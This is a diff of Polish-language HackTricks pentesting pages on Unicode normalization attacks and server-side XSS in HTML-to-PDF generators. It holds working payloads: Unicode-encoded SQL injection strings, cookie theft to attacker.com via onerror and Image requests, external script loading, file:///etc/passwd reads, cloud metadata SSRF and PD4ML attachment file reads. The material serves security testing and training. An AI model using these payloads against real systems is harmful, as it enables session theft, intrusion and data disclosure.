**To jest podsumowanie:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Sprawdź to dla dalszych szczegółów (obrazy wzięte stamtąd).
## Zrozumienie Unicode i Normalizacji
@ -19,7 +19,7 @@ Zrozumienie kodowania Unicode jest kluczowe, szczególnie w przypadku problemów
- **Punkty kodowe i znaki**: W Unicode każdy znak lub symbol ma przypisaną wartość numeryczną znaną jako "punkt kodowy".
- **Reprezentacja bajtów**: Punkt kodowy (lub znak) jest reprezentowany przez jeden lub więcej bajtów w pamięci. Na przykład znaki LATIN-1 (powszechne w krajach anglojęzycznych) są reprezentowane za pomocą jednego bajtu. Jednak języki z większym zestawem znaków potrzebują więcej bajtów do reprezentacji.
- **Kodowanie**: Termin ten odnosi się do sposobu, w jaki znaki są przekształcane w serię bajtów. UTF-8 to powszechny standard kodowania, w którym znaki ASCII są reprezentowane za pomocą jednego bajtu, a do czterech bajtów dla innych znaków.
- **Kodowanie**: Termin ten odnosi się do sposobu, w jaki znaki są przekształcane w serię bajtów. UTF-8 to powszechny standard kodowania, w którym znaki ASCII są reprezentowane za pomocą jednego bajtu, a inne znaki mogą być reprezentowane za pomocą do czterech bajtów.
- **Przetwarzanie danych**: Systemy przetwarzające dane muszą być świadome używanego kodowania, aby poprawnie konwertować strumień bajtów na znaki.
- **Warianty UTF**: Oprócz UTF-8 istnieją inne standardy kodowania, takie jak UTF-16 (używający minimum 2 bajtów, do 4) i UTF-32 (używający 4 bajtów dla wszystkich znaków).
@ -29,11 +29,11 @@ Przykład, jak Unicode normalizuje dwa różne bajty reprezentujące ten sam zna
```python
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
```
**Lista znaków równoważnych Unicode znajduje się tutaj:** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) i [https://0xacb.com/normalization_table](https://0xacb.com/normalization_table)
**Lista znaków równoważnych Unicode znajduje się tutaj:** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) oraz [https://0xacb.com/normalization_table](https://0xacb.com/normalization_table)
### Odkrywanie
Jeśli możesz znaleźć w aplikacji internetowej wartość, która jest zwracana, możesz spróbować wysłać **KELVIN SIGN (U+0212A)**, która **normalizuje się do "K"** (możesz wysłać to jako `%e2%84%aa`). **Jeśli "K" jest zwracane**, to wykonywana jest jakaś forma **normalizacji Unicode**.
Jeśli możesz znaleźć w aplikacji internetowej wartość, która jest zwracana, możesz spróbować wysłać **KELVIN SIGN (U+0212A)**, który **normalizuje się do "K"** (możesz wysłać to jako `%e2%84%aa`). **Jeśli "K" jest zwracane**, to wykonywana jest jakaś forma **normalizacji Unicode**.
Inny **przykład**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` po **unicode** to `Leonishan`.
@ -73,7 +73,7 @@ Wtedy złośliwy użytkownik mógłby wstawić inny znak Unicode równoważny `'
" || 1==1//
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
```
#### szablon sqlmap
#### sqlmap template
{{#ref}}
https://github.com/carlospolop/sqlmap_to_unicode_template
@ -95,10 +95,20 @@ Kiedy backend **sprawdza dane wejściowe użytkownika za pomocą regex**, może
Narzędzie [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* pozwala na **generowanie wariacji wejścia** w celu fuzzowania backendu. Po więcej informacji sprawdź **github** i ten [**post**](https://0xacb.com/2022/11/21/recollapse/).
## Referencje
## Unicode Overflow
Z tego [blogu](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows), maksymalna wartość bajtu wynosi 255, jeśli serwer jest podatny, można stworzyć przepełnienie, aby wyprodukować konkretny i nieoczekiwany znak ASCII. Na przykład, następujące znaki zostaną przekształcone w `A`:
- 0x4e41
- 0x4f41
- 0x5041
- 0x5141
## References
- [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
- [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
- [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
- [https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -12,17 +12,17 @@ Również, pamiętaj, że w regularnej eksploatacji będziesz **mógł zobaczyć
### Popular PDF generation
- **wkhtmltopdf** jest znany ze swojej zdolności do konwertowania HTML i CSS na dokumenty PDF, wykorzystując silnik renderujący WebKit. To narzędzie jest dostępne jako open-source utility w wierszu poleceń, co czyni je dostępnym dla szerokiego zakresu zastosowań.
- **wkhtmltopdf** jest znany ze swojej zdolności do konwertowania HTML i CSS na dokumenty PDF, wykorzystując silnik renderujący WebKit. To narzędzie jest dostępne jako open-source narzędzie wiersza poleceń, co czyni je dostępnym dla szerokiego zakresu zastosowań.
- **TCPDF** oferuje solidne rozwiązanie w ekosystemie PHP do generacji PDF. Jest w stanie obsługiwać obrazy, grafikę i szyfrowanie, pokazując swoją wszechstronność w tworzeniu złożonych dokumentów.
- Dla tych, którzy pracują w środowisku Node.js, **PDFKit** stanowi realną opcję. Umożliwia generowanie dokumentów PDF bezpośrednio z HTML i CSS, zapewniając most między treściami webowymi a formatami do druku.
- Programiści Java mogą preferować **iText**, bibliotekę, która nie tylko ułatwia tworzenie PDF, ale także wspiera zaawansowane funkcje, takie jak podpisy cyfrowe i wypełnianie formularzy. Jej kompleksowy zestaw funkcji czyni ją odpowiednią do generowania bezpiecznych i interaktywnych dokumentów.
- **FPDF** to kolejna biblioteka PHP, wyróżniająca się prostotą i łatwością użycia. Jest zaprojektowana dla programistów szukających prostego podejścia do generacji PDF, bez potrzeby rozbudowanych funkcji.
- Dla tych, którzy pracują w środowisku Node.js, **PDFKit** stanowi realną opcję. Umożliwia generowanie dokumentów PDF bezpośrednio z HTML i CSS, zapewniając most między treściami internetowymi a formatami do druku.
- Programiści Java mogą preferować **iText**, bibliotekę, która nie tylko ułatwia tworzenie PDF, ale także wspiera zaawansowane funkcje, takie jak podpisy cyfrowe i wypełnianie formularzy. Jej kompleksowy zestaw funkcji sprawia, że jest odpowiednia do generowania bezpiecznych i interaktywnych dokumentów.
- **FPDF** to kolejna biblioteka PHP, wyróżniająca się prostotą i łatwością użycia. Jest zaprojektowana dla programistów szukających prostego podejścia do generacji PDF, bez potrzeby korzystania z rozbudowanych funkcji.
## Payloads
### Discovery
```html
<!-- Basic discovery, Write somthing-->
<!-- Basic discovery, Write something-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
@ -32,10 +32,26 @@ Również, pamiętaj, że w regularnej eksploatacji będziesz **mógł zobaczyć
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">
<!-- Using base HTML tag -->
<base href="http://attacker.com" />
<!-- Loading external stylesheet -->
<link rel="stylesheet" src="http://attacker.com" />
<!-- Meta-tag to auto-refresh page -->
<meta http-equiv="refresh" content="0; url=http://attacker.com/" />
<!-- Loading external components -->
<input type="image" src="http://attacker.com" />
<video src="http://attacker.com" />
<audio src="http://attacker.com" />
<audio><source src="http://attacker.com"/></audio>
<svg src="http://attacker.com" />
```
### SVG
Każdy z poprzednich lub następujących ładunków może być użyty wewnątrz tego ładunku SVG. Jako przykłady podano jeden iframe uzyskujący dostęp do subdomeny Burpcollab oraz drugi uzyskujący dostęp do punktu końcowego metadanych.
Każdy z poprzednich lub następujących ładunków może być użyty wewnątrz tego ładunku SVG. Jako przykłady podano jeden iframe uzyskujący dostęp do subdomeny Burpcollab i drugi uzyskujący dostęp do punktu końcowego metadanych.
```html
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
@ -71,7 +87,7 @@ if not, you will at least have wich path the bot is accessing -->
```
### Załaduj zewnętrzny skrypt
Najlepszym sposobem na wykorzystanie tej luki jest nadużycie jej, aby sprawić, że bot załaduje skrypt, który kontrolujesz lokalnie. Wtedy będziesz mógł zmieniać ładunek lokalnie i sprawić, że bot załaduje go za każdym razem z tym samym kodem.
Najlepszym sposobem na wykorzystanie tej luki jest nadużycie jej, aby zmusić bota do załadowania skryptu, który kontrolujesz lokalnie. Wtedy będziesz mógł lokalnie zmieniać ładunek i sprawić, że bot załaduje go za każdym razem z tym samym kodem.
```html
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
@ -81,7 +97,7 @@ Najlepszym sposobem na wykorzystanie tej luki jest nadużycie jej, aby sprawić,
> [!WARNING]
> Zmień `file:///etc/passwd` na `http://169.254.169.254/latest/user-data`, aby **spróbować uzyskać dostęp do zewnętrznej strony internetowej (SSRF)**.
>
> Jeśli SSRF jest dozwolone, ale **nie możesz dotrzeć** do interesującej domeny lub IP, [sprawdź tę stronę w poszukiwaniu potencjalnych obejść](../ssrf-server-side-request-forgery/url-format-bypass.md).
> Jeśli SSRF jest dozwolone, ale **nie możesz osiągnąć** interesującej domeny lub IP, [sprawdź tę stronę w poszukiwaniu potencjalnych obejść](../ssrf-server-side-request-forgery/url-format-bypass.md).
```html
<script>
x=new XMLHttpRequest;
@ -152,7 +168,7 @@ Ta podatność może być bardzo łatwo przekształcona w SSRF (ponieważ możes
### Attachments: PD4ML
Istnieją silniki HTML 2 PDF, które pozwalają na **określenie załączników do PDF**, takie jak **PD4ML**. Możesz nadużyć tej funkcji, aby **dołączyć dowolny lokalny plik** do PDF.\
Aby otworzyć załącznik, otworzyłem plik w **Firefoxie i dwukrotnie kliknąłem symbol spinacza** aby **zapisz załącznik** jako nowy plik.\
Aby otworzyć załącznik, otworzyłem plik w **Firefoxie i dwukrotnie kliknąłem symbol spinacza**, aby **zapisz załącznik** jako nowy plik.\
Przechwycenie **odpowiedzi PDF** za pomocą burp powinno również **pokazać załącznik w czystym tekście** wewnątrz PDF.
```html
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
@ -169,5 +185,6 @@ icon="Paperclip" />
- [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
- [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
- [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
- [https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators](https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators)
{{#include ../../banners/hacktricks-training.md}}